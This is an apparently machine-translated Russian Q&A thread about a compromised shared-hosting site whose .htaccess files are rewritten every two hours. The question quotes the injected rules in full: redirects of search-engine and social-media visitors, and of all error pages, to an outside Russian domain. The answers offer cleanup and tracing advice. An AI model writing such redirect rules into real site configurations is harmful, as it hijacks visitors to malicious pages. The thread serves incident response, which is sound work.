Общий хостинг с вредоносным ПО, файл.htaccess изменяется каждые 2 часа или около того
Я провел весь день, гоняясь за вредоносным ПО на виртуальном хостинге для одного из моих клиентов.
Проблема заключается в следующем: каждые 2 часа или около того.htaccess файл и все другие.htaccess файлы изменяются, в верхней части файла добавляются следующие строки:
IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*)
RewriteRule ^(.*)$ http://pasla-ghwoo.ru/rqpgfap?8 [R=301,L]
</IfModule>
и внизу:
ErrorDocument 400 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 401 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 403 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 404 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 500 http://pasla-ghwoo.ru/rqpgfap?8
Основная проблема - я не root на сервере и не могу sudo, так как это общий хостинг с сотнями сайтов. Типичные хорошие команды, такие как dmesg, lsof, dtrace, chattr и многие другие, мне недоступны, так как я не root.
Я не могу найти, кто изменяет файлы.htaccess, как мне получить эту информацию? Я предполагаю, что какой-то скрипт php меняет то, что вызывается извне через команду и управление.
Похоже, это относится к этому: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/
Как мне узнать, кто изменяет файлы.htaccess, не будучи пользователем root?
2 ответа
Без рута или доступа к диагностическим инструментам вы бы били головой об стену. Вы можете просматривать файлы в поисках этого .ru
чтобы увидеть, если это что-то под вашим контролем.
Есть инструменты, которые вы могли бы сделать в темноте и попробовать: inotify, lsof (маловероятно) - или просто подавление .htaccess
файл не будет доступен для записи Apache (если это возможно). Если это каждые два часа, посмотрите на crontab
также.
В конце концов, что-то все еще не работает, и вам, вероятно, следует обратиться к следующему: Как мне работать с взломанным сервером?
Прежде всего, вам также следует обратиться за помощью к вашему хостинг-провайдеру, который хотел бы знать, что одна из веб-сайтов, которую он размещает, была взломана. Возможно, что весь сервер скомпрометирован. В этом случае ваш провайдер будет нести ответственность за перенос вашего сайта на другой защищенный сервер, чтобы они могли анализировать, очищать и переустанавливать.
В любом случае вам следует попросить их соотнести дату / время измененного файла.htaccess с любыми имеющимися журналами: access.log, auth.log, журнал FTP-сервера и т. Д.
Кроме того, может быть полезно сравнить файлы в вашей сети с последней резервной копией, чтобы вы могли увидеть, что еще было изменено.